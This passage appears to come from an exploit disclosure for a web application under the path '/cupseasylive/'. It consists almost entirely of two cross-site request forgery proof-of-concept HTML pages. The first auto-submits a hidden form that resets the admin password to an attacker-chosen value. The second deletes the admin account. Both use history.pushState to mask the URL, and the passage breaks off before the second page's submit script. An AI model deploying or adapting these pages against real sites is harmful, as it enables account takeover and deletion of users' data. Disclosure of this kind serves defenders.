# access to the site or delete any user.
# Proof of Concept Code for Password Change:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://SITEADDRESS/cupseasylive/passwordmychange.php" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="password" value="PASSWORDHERE" />
<input type="hidden" name="change" value="Change" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
# Proof of concept for user delete:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://SITEADDRESS/cupseasylive/userdelete.php" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="delete" value="Delete" />
<input type="submit" value="Submit request" />
</form>
